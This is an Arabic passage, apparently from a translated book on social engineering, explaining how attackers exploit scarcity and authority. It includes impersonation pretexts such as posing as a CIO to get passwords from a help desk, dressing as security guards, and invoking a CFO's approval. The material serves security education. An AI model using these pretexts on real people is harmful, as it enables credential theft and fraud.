‫"أﻧﺎ رﺑﻣﺎ ﯾﻣﻛن أن اﻓﻌل ‪ 100‬دوﻻر"‪.‬‬
‫"إذا ﻛﻧت ﺗﺳﺗطﯾﻊ أن ﺗﻌطﯾﻧﻲ ‪ $ 125‬ﯾﻣﻛن أن اطﻠﻖ ﻋﻠﯾﮫ اﺗﻔﺎق"‪.‬‬
‫ﻗﺑل ذﻟك ﻛﺎن اﻟﺻﻧدوق ﯾﺳﺎوى ‪ 400‬دوﻻر وﻛﺎﻧوا اﺧر ﺻﻧدوﻗﯾن ﻓﻲ ھذا وأﻧﮫ ﯾﺄﺗﻲ ﻟﻣدة ﯾوﻣﯾن ﻛل ﺛﻼﺛﺔ أﺷﮭر‪ .‬ﻛﺎن ﯾﻧﺑﻐﻲ أن ﯾﻛون ھذا‬
‫ﺣرب ﻣزاﯾدة ﻟﺗﻠك اﻟﻘﯾﻣﺔ‪ ،‬وﻟﻛن ﺑدﻻ ﻣن ذﻟك‪ ،‬أﻧﺎ أرﺳﻠت ﻟﺗﻌﺑﺋﺔ ھﺎذﯾن اﻻﺛﻧﯾن ﻣن ﺻﻧﺎدﯾﻖ اﻟﻠﺣوم وﻣن دون ﻣﺑﺎﻟﻎ ﻧﻘدﯾﺔ‪.‬‬

‫اﻟدرس ﻓﻲ ھذه اﻟﻘﺻﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو أن ﻧدرة اﻟﻌﻣل إﻣﺎ أن ﯾﻛون ﺣﻘﯾﻘﯾﺎ‪ ،‬أو ﯾﻛون ﻟدﯾك ﻣﺑدا اﻟﺗﻣﺳك ﻹﻋطﺎء ﻣظﮭر اﻧﮫ ﺣﻘﯾﻘﻲ‪.‬‬
‫اﻟﻧﺎس ﯾﻧظرون إﻟﻰ اﻟﻘﯾﻣﺔ اﻷﻋﻠﻰ ﻋﻧدﻣﺎ ﯾﻛون ھﻧﺎك ﺷﻲء ﺣﻘﺎ ﻓﻲ ﺣﺎﺟﺔ إﻟﯾﮫ‪ .‬ﻣﺛﺎل ﺧﺑﯾث ﻋﻠﻰ ذﻟك ھو ﻛﯾف رﻓﻌت ﺷرﻛﺎت اﻟﺑﺗرول أﺳﻌﺎر‬
‫اﻟوﻗود ﺑﻌد إﻋﺻﺎر ﻛﺎﺗرﯾﻧﺎ‪ .‬ﻛﺎن اﻻدﻋﺎء ﺑﺄن اﻟوﻗود ﻛﺎن ﻓﻲ ﻧﻘص ﺑﺳﺑب اﻟدﻣﺎر واﻟذي ﺗﺳﺑب ﻓﻲ ارﺗﻔﺎع اﻷﺳﻌﺎر اﻟرھﯾﺑﺔ‪ .‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬إذا‬
‫ﻛﺎن ھذا ﺻﺣﯾﺣﺎ ﻓﺎن اﻟوﻗود ﺳﯾﻛون ﯾﺳﺗﺣﻖ أﻛﺛر ﺑﻛﺛﯾر ﻣﻣﺎ ھو ﻋﻠﯾﮫ‪ .‬ﺑدﻻ ﻣن ذﻟك ﻛﺎن ﻣﺛﺎﻻ ﻟﻠﻣطﺎﻟﺑﺔ ﻣن ﻧدرة اﺳﺗﺧداﻣﮭﺎ ﻟﻛﺳب اﻟﻣﺎل‪ .‬وﻟﻛن‬
‫ﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ‪ ،‬ﻋﻧدﻣﺎ ﺗﺳﺑب ﺧطﺄ ‪ BP’s error‬ﻟﻣﻼﯾﯾن اﻟﻐﺎﻟون ﻣن اﻟﻧﻔط ان ﺗﺿﯾﻊ ﻓﻲ ﺧﻠﯾﺞ اﻟﻣﻛﺳﯾك‪ ،‬وﺗدﻣر اﻟﻧظﺎم اﻟﺑﯾﺋﻲ‪ ،‬ﻓﺑدﻻ ﻣن رﻓﻊ‬
‫أﺳﻌﺎر اﻟوﻗود ﺑﺳﺑب ﻧﻘص اﻟﻣﻌروض‪ ،‬ﻓﺄﻧﮭﺎ أدت اﻟﻰ ﺧﻔﺿﮫ‪ .‬ﻛﯾف؟ ﺣﺳﻧﺎ أﻧﻧﺎ ﻟن ﻧدﺧل ﻓﻲ ذﻟك ھﻧﺎ‪ ،‬ﻟﻛﻧﮫ ﯾﺛﺑت ﻧﻘطﺔ أن ﻟﻧدرة اﻟﻌﻣل‪ ،‬ﯾﺟب‬
‫أن ﺗﺻدق‪ ،‬وھذا ﺣﯾث ﻓﺷﻠت ﺷرﻛﺎت اﻟﻧﻔط‪ ،‬وﺣﯾث ﯾﻣﻛن أن ﺗﻔﺷل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﯾﺿﺎ‪.‬‬
‫ﻣن وﺟﮭﺔ ﻧظر اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﻛﻠﻣﺎ زادت ﻣﺣدودﯾﺔ أو ﺻﻌوﺑﺔ اﻟﺣﺻول ﻋﻠﻰ ﻓرﺻﮫ ﻛﻠﻣﺎ زادت اﻟﻘﯾﻣﺔ اﻟﺗﻲ ﯾﻣﻠﻛﮭﺎ اﻟﻧﺎس‪ .‬إذا اﻋﺗﺑر‬
‫اﻟﻣﻌﻠوﻣﺎت ﻛﻣﻌﻠوﻣﺎت ﺧﺎﺻﺔ‪ ،‬ﻣﻘﯾدة‪ ،‬وﯾﺻﻌب اﻟﺣﺻول ﻋﻠﯾﮭﺎ‪ ،‬وﻛﻧت ﻋﻠﻰ اﺳﺗﻌداد ﻟﺗﻘﺎﺳﻣﮭﺎ ﻣﻊ ﺷﺧص ﻣﺎ‪ ،‬ﻓﻛل ﻣﺎ ﻋﻠﯾك ھو ﻛﺳب ﻓﻘط‬
‫اﻟﻛﺛﯾر ﻣن اﻟﻘﯾم ﻓﻲ ﻋﯾوﻧﮭم‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﻣن اﻟﻧدرة ﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺑﺎﺳﺗﺧدام ﻋﺑﺎرة ﻣﺛل "أﻧﺎ ﻟﺳت ﻣن اﻟﻣﻔﺗرض أن أﻗول ھذا وﻟﻛن ‪ "...‬أو "ﻟﺳت‬
‫ﻣﺗﺄﻛدا إذا ﻛﻧت ﺳﻣﻌت ھذا اﻟﺧﺑر‪ ،‬وﻟﻛن اﺳﻣﻊ ‪ "...‬ﺗﺻرﯾﺣﺎت ﻣﺛل ھذه ﺗﺣدث ﺑﺄﺻوات ﺧﺎﻓﺗﺔ ﯾﻌﻧﻲ أن ھذه اﻟﻣﻌﻠوﻣﺎت ﺷﺣﯾﺣﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪915‬‬

‫اﻟﺴﻠﻄﺔ )‪(Authority‬‬
‫اﻟﻧﺎس أﻛﺛر اﺳﺗﻌدادا ﻻﺗﺑﺎع اﻟﺗوﺟﯾﮭﺎت أو اﻟﺗوﺻﯾﺎت ﻣن ﺷﺧص ﻣﺎ ﯾﻌرض ﻛﺳﻠطﺔ‪ .‬اﻟﻌﺛور ﻋﻠﻰ اﻟﺷﺧص اﻟذي ﻟدﯾﮫ ﻣﺎ ﯾﻛﻔﻲ ﻣن اﻟﺟرأة‬
‫ﻻﺳﺗﺟواب اﻟﺳﻠطﺔ ﻣﺑﺎﺷرة‪ ،‬وﺧﺻوﺻﺎ ﻋﻧدﻣﺎ ﺗﺣﻣل ﺗﻠك اﻟﺳﻠطﺔ ﻗوه ﻣﺑﺎﺷرة أﻋﻠﻰ ﻣﻧﮫ أو ھو وﺟﮭﺎ ﻟوﺟﮫ ﻣﻌﮫ أﻣر ﻏﯾر ﺷﺎﺋﻊ‪.‬‬
‫اﻷطﻔﺎل‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﺗم ﺗدرﯾﺳﮭم ﻋﻠﻰ طﺎﻋﺔ اﻟﻛﺑﺎر ﻣﺛل اﻟﻣدرﺳﯾن واﻟﻣﺳﺗﺷﺎرﯾن واﻟﻣرﺑﯾﺎت ﻷن ﻟدﯾﮭم ﺳﻠطﺔ ﻋﻠﯾﮭم‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن‬
‫اﻷﺣﯾﺎن‪ ،‬اﺳﺗﺟواب اﻟﺳﻠطﺔ ﯾﻌﺗﺑر اﻣر ﻣﮭﯾن واﻟطﺎﻋﺔ اﻟﻣذﻟﺔ ھو ﻣﺎ ﯾﻛﺎﻓﺄ ﻋﻠﯾﮫ‪ .‬ھذه اﻟﻣﺑﺎدئ ﺗﻧﺗﻘل إﻟﻰ ﺣﯾﺎة اﻟﻛﺑﺎر ﻷﻧﻧﺎ ﻧدرس اﺣﺗرام رﻣوز‬
‫اﻟﺳﻠطﺔ وﻋدم اﻟﺳؤال ﻋن اﻟﻘواﻋد أو اﻷواﻣر اﻟﺗﻲ أﻋطﯾت ﻟﻧﺎ ﻣن ﻗﺑل أوﻟﺋك اﻟذﯾن ﻧرى أﻧﮭم ﯾﺗﻣﺗﻌون ﺑﺎﻟﺳﻠطﺎت‪.‬‬
‫ﻟﻸﺳف‪ ،‬ھذا اﻟﻣﺑدأ ﯾؤدي وﻗوع اﻟﻌدﯾد ﻣن اﻷطﻔﺎل ﻓﻲ أﯾدي اﻟﻣﻌﺗدﯾن واﻟﻣﺗﺣرﺷﯾن‪ .‬ﺑﺎﻟطﺑﻊ‪ ،‬ﻟﯾس ھذا اﻟﻣﺑدأ ﻓﻘط‪ ،‬وﻟﻛن أوﻟﺋك اﻟذﯾن ﯾﺗﺻﯾدون‬
‫اﻷطﻔﺎل ﯾدرﻛون ﻛﯾف ﯾﺗم ﺗﻌﻠﯾم اﻷطﻔﺎل ﻋن اﻟﺳﻠطﺔ وﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﻌون إﻟﻰ أوﻟﺋك اﻟذﯾن ﯾﺑدون أﻛﺛر ﺗواﻓﻘﯾﺔ‪ .‬وﺑﺎﻟﻣﺛل‪ ،‬اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ‬
‫اﻟﺧﺑﯾث ﯾﺳﺗﺧدم ھذا اﻟﻣﺑدأ ﻓﻲ اﻟﺗﻌﺎﻣل ﻣﻊ اھداﻓﮫ ﻻﺗﺧﺎذ ﺑﻌض اﻹﺟراءات أو اﻟﺗﻘﺎﻋس اﻟﺗﻲ ﯾﻣﻛن أن ﯾؤدي إﻟﻰ اﻹﺧﻼل‪.‬‬
‫ﻓﮭم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺳﻠطﺔ ﻣن ﺟﺎﻧب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﻲ ﻣﮭم‪ .‬ﻋﺎﻟم اﻻﺟﺗﻣﺎع اﻷﻟﻣﺎﻧﻲ واﻻﻗﺗﺻﺎد اﻟﺳﯾﺎﺳﻲ‪ ،‬ﻣﺎﻛس ﻓﯾﺑر‪ ،‬ﻗﺎم ﺑﺗﻘﺳﯾم اﻟﺳﻠطﺔ‬
‫)‪ (Authority‬اﻟﻰ ﻋدة ﻓﺋﺎت ﺣﺗﻰ ﯾﻣﻛن ان ﻧﺗﻛﯾف ﻣﻌﮭﺎ ﻟﺗﻧﺎﺳب ﺑﺷﻛل وﺛﯾﻖ ﻣﺟﺎل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -‬اﻟﺳﻠطﺔ اﻟﻘﺎﻧوﻧﯾﺔ )‪(Legal Authority‬‬
‫ﺗﺳﺗﻧد اﻟﺳﻠطﺔ اﻟﻘﺎﻧوﻧﯾﺔ ﻋﻠﻰ اﻟﺣﻛوﻣﺔ واﻟﻘﺎﻧون‪ .‬ھذا ﯾﻧطﺑﻖ ﻋﻣوﻣﺎ ﻋﻠﻰ ﺿﺑﺎط ﻣﻧﻔذي اﻟﻘﺎﻧون أو ﻏﯾرھم اﻟذﯾن ﯾﻘوﻣون ﺑﻔرض اﻟﻘواﻧﯾن ﻓﻲ‬
‫اﻟﺑﻼد أو اﻟﻣﻧطﻘﺔ أو اﻟﻣﻧﺷﺄة اﻟﺗﻲ ﺗﻛون ﻓﯾﮭﺎ ﺣﺎﻟﯾﺎ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ اﻟذراﺋﻊ )‪ (pretexts‬اﻟﺗﻲ ﺗﻧطوي ﻋﻠﻰ اﺗﺧﺎذ ھﯾﺋﺔ ﻣﻧﻔذ اﻟﻘﺎﻧون أو ﻏﯾره ﻣن اﻟﻣﺳؤوﻟﯾن اﻟﺣﻛوﻣﯾﯾن ﻋﺎدة ﻣﺎ ﺗﻛون ﻏﯾر‬
‫ﻗﺎﻧوﻧﯾﺔ‪ .‬وﻣﻊ ذﻟك‪ ،‬ﺣراس اﻷﻣن‪ ،‬أﻣن اﻟﺑﻧك‪ ،‬أو أﻧواع أﺧرى ﻣن ﺷﺧﺻﯾﺎت اﻟﺳﻠطﺔ اﻟﺗﻧﻔﯾذﯾﺔ ﯾﻣﻛن أن ﺗﻛون ﻣﻣﺛﻠﺔ ﺑﺷﻛل ﺟﯾد وﻏﺎﻟﺑﺎ ﻣﺎ‬
‫ﺗﺳﺗﺧدم ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‪.‬‬
‫ﻓﻲ إﺣدى ﺣﻠﻘﺎت اﻟﻣﺳﻠﺳل اﻟﺗﻠﻔزﯾوﻧﻲ اﻟﺧﺎص ﺑﮭﯾﺋﺔ اﻻذاﻋﺔ اﻟﺑرﯾطﺎﻧﯾﺔ ‪ BBC‬واﻟﻣﺳﻣﻰ ‪ ،The Real Hustle‬ﺑول وﯾﻠﺳون وﺟﻣﺎﻋﺗﮫ ﻗﺎﻣوا‬
‫ﺑﺎرﺗداء ازﯾﺎء ﻣﺛل اﻟﺣراس اﻟذﯾن ﯾﺟﻣﻌون اﻟﻣﺎل‪ .‬ﻋﻧدﻣﺎ ﯾظﮭر ﺷﺧص ﻣﺎ ﻓﻲ ھذا اﻟزي واﻟذي ﯾﺑدوا ﻣﺷﺎﺑﮭﺎ ﺗﻣﺎﻣﺎ ﻟﻠﺣﻘﯾﻘﻲ وﯾﺗﻔﺎﻋل ﻛﺄﻧﮫ ﺷﺧص‬
‫طﺑﯾﻌﻲ ﻓﻲ ھذا اﻟﻣوﻗف اﻟﻣوﺛوق اﻟذي ﯾﺟب ان ﯾﻛون ﻓﯾﮫ‪ ،‬ﻓﺎن اﻷھداف ﺳﯾﻛون ﻟدﯾﮭم ﺳﺑب وﺟﯾﮫ ﻟﻠﺷك ﻓﻲ اﻟﻧﺻﺎب اﻟذي "ﯾﻘول" أﻧﮫ ھو‪.‬‬
‫اﻟﺗﺻرف ﻛﺷﺧﺻﯾﺔ اﻟﺳﻠطﺔ ھﻲ ﺧدﻋﺔ ﻛﺑرى ﺗﺳﺗﺧدم ﻣن ﻗﺑل اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻟﻠوﺻول إﻟﻰ اﻟﺷرﻛﺔ‪.‬‬
‫ﺣﯾﻠﺔ أﺧرى ﯾﻣﻛن أن ﺗﻛون ﻓﻌﺎﻟﺔ ﻋن طرﯾﻖ طرح ذرﯾﻌﺔ اﻟﻣﺣﺎم واﻟذي ﯾﺳﻌﻰ ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻣﻌﯾﻧﺔ‪ .‬ﻟﻌب ھذا اﻟدور اﻟذي ﯾﺧﺷﺎه أو‬
‫ﯾﺣﺗرم ﻣن ﻗﺑل اﻟﺟﻣﺎھﯾر ﺗﻛون طرﯾﻘﺔ واﺣدة ﻻﺳﺗﺧدام ﺣﯾﻠﺔ اﻟﺳﻠطﺔ اﻟﻘﺎﻧوﻧﯾﺔ‪.‬‬
‫‪ -‬اﻟﺳﻠطﺔ اﻟﺗﻧظﯾﻣﯾﺔ )‪(Organizational Authority‬‬
‫اﻟﺳﻠطﺔ اﻟﺗﻧظﯾﻣﯾﺔ )‪ (Organizational Authority‬ھﻲ ﺑﺑﺳﺎطﺔ أي ﺳﻠطﺔ ﻣﺣددة ﻋن طرﯾﻖ ﻣﻧظﻣﺔ‪ .‬ﻋﺎدة‪ ،‬ھذا ﯾﺷﯾر إﻟﻰ اﻟﺗﺳﻠﺳل‬
‫اﻟﮭرﻣﻲ اﻟرﻗﺎﺑﻲ‪ .‬ﺷﺧص داﺧل ﻣوﻗﻊ اﻟﻘوة ﻓﻲ اﻟﻣﻧظﻣﺔ ﻟدﯾﮫ اﻟﻣزﯾد ﻣن اﻟﺳﻠطﺔ واﻟﺣﺻول ﻋﻠﻰ ﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت ﻣن ﺷﺧص ﻓﻲ أﺳﻔل‬
‫اﻟﺗﺳﻠﺳل اﻟﮭرﻣﻲ‪.‬‬
‫ﻓﻲ ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﺎن اﻻﺳﺗﺷﺎري ﻗد ﯾﻧﺗﺣل ‪ CIO‬أو أي ﺷﺧص آﺧر ﻣﻌﮫ ﺳﻠطﺔ ﺗﻧظﯾﻣﯾﺔ واﺿﺣﺔ‪ .‬اﻻﺳﺗﺷﺎري ﻗد ﯾﻛون ﺑﻌد ذﻟك‬
‫ﻗﺎدرا ﻋﻠﻰ اﻟﺣﺻول ﻋﻠﻰ ﻛﻠﻣﺎت اﻟﻣرور أو ﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت ﻣن ﻣﻛﺗب اﻟﻣﺳﺎﻋدة أو أي ﻣن اﻟﻣوظﻔﯾن اﻵﺧرﯾن اﻟذﯾن ﻗد ﯾرون أن‬
‫اﻟﺷﺧص اﻟﻣﻧﺗﺣل ﻟدﯾﮫ ﺳﻠطﺔ ﻋﻠﯾﮭم ﻟﮫ‪.‬‬
‫ﻓﻲ ﻣﻘﺎﻟﮫ ﺑﻌﻧوان "" اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ "ﻣن اﻻﺣﺗﯾﺎل ﻋﻠﻰ اﻹﻧﺗرﻧت )‪ "(The ‘Social Engineering’ of the Internet Fraud‬ﻟﻠﻛﺎﺗب‬
‫ﺟوﻧﺎﺛﺎن ﺟﻲ روش ﻣن وزارة اﻟﻌدل اﻻﻣرﯾﻛﯾﺔ ﺣﯾث ﯾﻘول‪" ،‬ﻣن اﻟﻣرﺟﺢ ﻟﻠﻐﺎﯾﺔ ان اﻟﻧﺎس‪ ،‬ﻓﻲ اﻟوﺿﻊ اﻟﺻﺣﯾﺢ‪/‬اﻟﻌﺎدي‪ ،‬ﺗﻛون ﻣﺗﺟﺎوﺑﺔ ﻟﻠﻐﺎﯾﺔ‬
‫ﻣﻊ ادﻋﺎءات ﻣن ﯾﻣﻠك اﻟﺳﻠطﺔ‪ ،‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص اﻟذي ﯾزﻋم أﻧﮫ ﻓﻲ ﻣوﻗﻊ اﻟﺳﻠطﺔ ﻏﯾر ﻣوﺟود ﺟﺳدﯾﺎ‪.‬‬
‫‪http://www.isoc.org/inet99/proceedings/3g/3g_2.htm‬‬
‫ﺗﺳﺗﺧدم ھذه اﻟﺣﯾﻠﺔ ﺑطرق أﺧرى‪ ،‬ﻣن ﺧﻼل ﻋدم اﻟﺗﺻرف ﻛﻣﺎ ﻟو ﻛﻧت اﻟﻣدﯾر اﻟﻣﺎﻟﻲ )‪ ،(CFO‬وﻟﻛن ﺑدﻻ ﻣن ذﻟك إرﺳﺎل أو أذن ﻣن ﻗﺑل‬
‫اﻟﻣدﯾر اﻟﻣﺎﻟﻲ‪ .‬ﺳﻠطﺔ اﻻﺳم واﻟﻠﻘب ﻗد ﯾﻛون ﻛﺎﻓﯾﺎ ﻟﻣﻧﺢ ھذه اﻟﺳﻠطﺔ ﻟﻠﻣﮭﺎﺟم ﻓﻲ ﻋﯾون اﻟﮭدف‪.‬‬
‫روش ﯾﺳﺗﺷﮭد ﺗﺟرﺑﺔ ﯾؤدﯾﮭﺎ روﺑرت ﺑﻲ ﺳﯾﺎﻟدﯾن وﺳﺟﻠﮫ ﻓﻲ ﻛﺗﺎﺑﮫ ‪ ،(1993) Influence‬واﻟذي أظﮭر ‪ ٪95‬ﻣن اﻟﻣﻣرﺿﺎت ﻓﻲ ﻏﺿون ‪22‬‬
‫ﻣﺣطﮫ ﻣن ﺛﻼﺛﺔ ﻣﺳﺗﺷﻔﯾﺎت ﻣﺧﺗﻠﻔﺔ ﻋﻠﻰ اﺳﺗﻌداد ﻹﻋطﺎء اﻟﻣرﺿﻰ ﺟرﻋﺔ ﺧطﯾرة ﻣن اﻟدواء ﺑﻧﺎء ﻋﻠﻰ ﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻣن ﺑﺎﺣث ﯾزﻋم أن ﯾﻛون‬
‫اﻟطﺑﯾب ﻟم ﯾﻠﺗﻘﻲ ﺑﺎﻟﻣﻣرﺿﺎت أﺑدا‪.‬‬
‫ﯾظﮭر ﺑوﺿوح أن ھذه اﻟﺗﺟرﺑﺔ ﺑﻧﺎء ﻋﻠﻰ أواﻣر وﻓﻛرة اﻟﻣﺗﺻورة ﻟﻠﺳﻠطﺔ‪ ،‬اﻟﻧﺎس ﻗد ﺗﻘوم ﺑﺑﻌض اﻹﺟراءات ﻋﻠﻰ اﻟرﻏم ﻣن ﺣﻛﻣﮭﺎ اﻷﻓﺿل‪.‬‬
‫ھذا اﻟﻧوع ﻣن اﻟﺳﻠطﺔ ﯾﻣﻛن وﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ﻻﺳﺗﻐﻼل اﻟﺷرﻛﺎت ﻟﻠﺗﺧﻠﻲ ﻋن اﻟﺑﯾﺎﻧﺎت اﻟﻘﯾﻣﺔ‪.‬‬
‫‪ -‬اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Social Authority‬‬
‫ﺗﺷﯾر اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ إﻟﻰ "اﻟﻘﺎﺋد ﺑﺎﻟوﻻدة )‪ "(natural-born leaders‬ﻣن أي ﻓﺋﺔ اﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﻣﻛن أن ﺗﺗﻛون اﻟﻣﺟﻣوﻋﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻣن‬
‫زﻣﻼء اﻟﻌﻣل وأﺻدﻗﺎء اﻟﻛﻠﯾﺔ‪ ،‬أو أي ﺗﺟﻣﻊ آﺧر ﻣن اﻟﻧﺎس‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪916‬‬

‫ﻓﻲ ﻛﺗﺎب اﻟﺗﺄﺛﯾر )‪ ،(Influence‬ﻟﻠﻛﺎﺗب روﺑرت ﺑﻲ ﺳﯾﺎﻟدﯾن ﯾﻘول‪" :‬ﻋﻧد اﻟرد ﻋﻠﻰ اﻟﺳﻠطﺔ ﺑطرﯾﻘﺔ ﺗﻠﻘﺎﺋﯾﺔ ﻛﺛﯾرا ﻣﺎ ﺗﻛون ھﻧﺎك ﻧزﻋﺔ إﻟﻰ أن‬
‫ﺗﻔﻌل ذﻟك ﻓﻲ اﻻﺳﺗﺟﺎﺑﺔ ﻟﻣﺟرد رﻣوز اﻟﺳﻠطﺔ ﺑدﻻً ﻣن ﻣﺿﻣوﻧﮭﺎ"‪ .‬ﻟﻛﻲ ﺗﺣدث اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻗد ﻻ ﯾﺳﺗﻐرق ﻛﻣﯾﺔ ﻏﯾر ﻋﺎدﯾﺔ ﻣن اﻟوﻗت‬
‫أو ھﯾﻛل ﻟﺗﻌرﯾف اﻟﺷﻛل اﻟﻣوﺛوق‪ .‬ﺗﺣت أي ظرف‪ ،‬وﻣﺿﺔ ﺳرﯾﻌﺔ ﻣن اﻹﺛﺑﺎت اﻻﺟﺗﻣﺎﻋﻲ ﺣﯾث ﺗﺗﺄﺛر اﻟﻧﺎس ﻣن ﻗﺑل ﻣﺟﻣوﻋﺔ ﻣن اﻷﺷﺧﺎص‬
‫اﻟذﯾن ﯾﺗﻧﺎوﻟون ﻧﻔس اﻹﺟراء‪ ،‬ﻗد ﯾﺳﺎﻋد ﻓﻲ ﺗوﻓﯾر اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺷﺧص‪.‬‬
‫ﯾﻣﻛن اﺳﺗﺧدام اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻛﻣﯾزة ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋن طرﯾﻖ طرح أو اﻟﺿﻐط ﻋﻠﻰ اﻟﮭدف ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت‪ .‬إذا‬
‫رﻓض اﻟﮭدف ﯾرﻓض وﻟذﻟك ﻻ ﻣﺣﺑوب ﻣن ﻗﺑل زﻋﯾم اﻟﻣﺟﻣوﻋﺔ‪ ،‬ﻗد ﺗﺳﻘط اﻟﮭدف ﻣن ﺻﺎﻟﺢ ﻣﻊ اﻟﻣﺟﻣوﻋﺔ ﺑﺄﻛﻣﻠﮭﺎ‪ .‬ھو ﯾﻧظر ﻟﯾﻛون ﻣﻔﯾدا ً‬
‫ﻟﻼﻣﺗﺛﺎل "ﺳﻠطﺔ" اﻟﻣرﺷد اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫إذا رﻓض اﻟﮭدف وأﯾﺿﺎ ﻏﯾر ﻣﺣﺑوب ﻣن ﻗﺑل ﻗﺎﺋد اﻟﻣﺟﻣوﻋﺔ‪ ،‬ﻓﺎن اﻟﮭدف ﻗد ﯾﺧرج ﻋن ﺻﺎﻟﺢ اﻟﻣﺟﻣوﻋﺔ ﺑﺄﻛﻣﻠﮭﺎ‪ .‬اﻻﻣﺗﺛﺎل ﻟﺳﻠطﺔ اﻟﻘﺎﺋد‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻧظر إﻟﯾﮭﺎ ﻋﻠﻰ أﻧﮫ ﻣن اﻟﻣﻔﯾد‪.‬‬
‫ﺗﺳﺗﺧدم اﻟﺳﻠطﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﻧﺟﺎح ﻋﻧدﻣﺎ ﺗذﻛر إﻣﺎ ﻣﺑﺎﺷرة أو ﺿﻣﻧﯾﺔ ﻋﻠﻰ أن اﻟﺷﺧص أو اﻟﻣﺟﻣوﻋﺔ اﻟﺳﺎﺑﻘﺔ ﻛﺎن ﻟﮭﺎ رد ﻓﻌل ﻋﻠﻰ اﻟطرﯾﻘﺔ‬
‫اﻟﺗﻲ ﯾطﻠﺑﮭﺎ اﻟﻣﮭﺎﺟم‪" .‬ﺑﺎﻷﻣس ﺑﻌث ﻟﻲ ‪ CFO‬ﻟرﻋﺎﯾﺔ ھذه اﻟﻣﺷﻛﻠﺔ وﺟو ﺳﻣﺢ ﻟﻲ ﻣن ﺧﻼل ﻓﺣص ﺟﻣﯾﻊ أوراق اﻋﺗﻣﺎدي‪ ،‬ھل وﺿﻌﮭﺎ ﻓﻲ‬
‫ﻣﻠف؟" ﺑﯾﺎن ﺑﺳﯾط ﻣﺛل ھذا ﯾﺳﺗﻌﻣل ﺑﻌض أﺷﻛﺎل اﻟﺳﻠطﺔ‪.‬‬
‫إذا ﻛﻧت ﻣﺗواﻓﻘﺎ ﻣﻊ اﻟﺳﻠطﺎت ﺑﻐﻔﻠﺔ‪ ،‬ﻓﺈﻧﮫ رﺑﻣﺎ ﺗﺳﺗﺟﯾب اﻟﻰ رﻣوز اﻟﺳﻠطﺔ ﺑدﻻ ﻣن اﻟواﻗﻊ‪ .‬ﺛﻼﺛﺔ رﻣوز ﻣن اﻟﺳﻠطﺔ ھﻲ ﻓﻌﺎﻟﺔ ﺑﺷﻛل ﺧﺎص ﻓﻲ‬
‫اﻟﺑﻠدان اﻟﻐرﺑﯾﺔ ﻗد ﺗﻛﺎﻓﺊ اﻟﻧﺎس ﻣﻊ أي واﺣد ﻣن ھذه )وأﯾﺔ أدﻟﺔ أﺧرى ﻣن اﻟﺳﻠطﺔ( ﻻﻣﺗﺛﺎﻟﮫ‪:‬‬
‫‪ -‬اﻟﻘﺎب‬
‫‪ -‬ﻣﻼﺑس‬
‫‪ -‬ﺳﯾﺎرات‬
‫ﻓﻲ ﻣﻘﺎﺑﻠﺔ أﺟرﯾت ﻣﻊ اﻟدﻛﺗور إﻟﯾن ﻻﻧﺟر‪ ،‬ﻋﺎﻟم اﻟﻧﻔس ﻓﻲ ﺟﺎﻣﻌﺔ ھﺎرﻓﺎرد وﺑﺎﺣث اﻹﻗﻧﺎع واﻟﺗﺄﺛﯾر‪ ،‬ﺣﯾث ﺗﺣدث ﺑﺈﺳﮭﺎب ﻋن اﻟﻐﻔﻠﺔ‪ .‬ذﻛر أن‬
